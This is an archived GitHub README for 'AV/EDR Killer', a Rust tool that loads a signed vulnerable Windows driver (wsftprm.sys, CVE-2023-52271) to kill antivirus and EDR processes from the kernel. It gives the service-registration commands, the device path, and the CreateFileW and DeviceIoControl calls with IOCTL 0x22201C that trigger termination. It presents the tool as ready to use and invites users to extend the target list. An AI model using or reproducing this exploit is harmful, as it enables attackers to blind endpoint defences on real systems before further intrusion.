2026-01-13 23:12:53 +01:00
2026-01-13 23:12:53 +01:00
2026-01-10 23:49:25 +01:00
2026-01-10 23:49:25 +01:00
2026-01-10 23:42:42 +01:00
2026-01-10 23:46:28 +01:00
2026-01-10 23:49:25 +01:00

AV/EDR Killer

https://github.com/user-attachments/assets/b21ca709-6b6f-47ad-8bde-065f59ab6a9c

This project demonstartes how a legit, and signed driver can be weponized to gain kernel level access.

🚨 The vulnerable driver:

wsftprm.sys , signed by TPZ SOLUCOES DIGITAIS LTDA, and previously exposed to a local privilege escalation vulnerabliy publicly disclosed as CVE-2023-52271, but somehow still NOT on Microsoft's driver blocklist!! 🤫🤫

The vulnerability is triggered via IOCTL code 0x22201C with a 1036-byte buffer where the first 4 bytes contain the target Process ID as a DWORD. The vulnerable driver, upon receiving this malicious IOCTL through DeviceIoControl, it invokes the imported ZwTerminateProcess function, granting any user-mode application kernel-level process termination capabilities.

Any sane threat actor will naturally prioritize this capability to terminate critical Antivirus (AV) and Endpoint Detection and Response (EDR) processes.

Exploitation:

1. Register a service:

Launch cmd.exe with Administrator privileges, and register a kernel driver service with type "kernel" and binPath pointing to the vulnerable driver's location.

> sc create MalDriver binPath= <path> type= kernel`
> sc start MalDriver

Once loaded, the driver creates a symbolic link for user-mode accessible as \.\Warsaw_PM. Which we can use to get a handle to the driver device using the CreateFileW API call.

> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())

To send the Malicious IOCTLs we will use DeviceIoControl with code 0x22201C, and buffer containing a PID in its first 4 bytes

> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len(), ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())

2. Profit

Cargo build --release to genrate the binary.

🛠️ Customization:

You can add additional processes to the target list for termination.

🔒 DISCLAIMER

You are responsible for ensuring you have proper authorization before using this tool. The author assumes no liability for misuse.

🤝 Collaborations

This is an ongoing project, contributions and suggestions are welcome! If you have ideas, improvements, or would like to collaborate, feel free to reach out at: M0kht4rHacks@protonmail.com

S
Description
Automated archival mirror of github.com/xM0kht4r/AV-EDR-Killer
Readme GPL-3.0 73 KiB
Languages
Rust 100%